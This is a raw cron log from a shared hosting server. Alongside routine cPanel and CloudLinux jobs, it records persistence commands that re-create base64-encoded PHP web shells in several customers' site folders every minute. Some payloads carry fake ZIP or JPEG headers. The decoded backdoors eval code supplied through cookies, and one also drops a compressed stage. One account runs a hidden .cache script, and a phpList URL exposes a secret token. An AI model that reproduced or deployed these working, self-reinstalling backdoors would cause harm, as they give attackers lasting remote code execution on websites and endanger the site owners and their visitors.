"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:40:02 medusa CROND[5439]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:40:02 medusa CROND[5440]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:40:02 medusa CROND[5430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:40:02 medusa CROND[5445]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:40:02 medusa CROND[5443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:40:02 medusa CROND[5459]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:40:02 medusa CROND[5433]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 21:40:02 medusa CROND[5479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:41:01 medusa CROND[24537]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:41:01 medusa CROND[24622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:41:01 medusa CROND[24626]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:41:01 medusa CROND[24627]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:41:01 medusa CROND[24628]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:41:01 medusa CROND[24629]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:41:01 medusa CROND[24630]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:41:01 medusa CROND[24631]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:41:01 medusa CROND[24635]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:41:01 medusa CROND[24637]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:41:01 medusa CROND[24639]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:41:01 medusa CROND[24640]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:41:01 medusa CROND[24642]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:41:01 medusa CROND[24647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:42:01 medusa CROND[12094]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:42:01 medusa CROND[12095]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:42:01 medusa CROND[12096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:42:01 medusa CROND[12097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:42:01 medusa CROND[12098]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:42:01 medusa CROND[12099]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:42:01 medusa CROND[12101]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:42:01 medusa CROND[12103]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
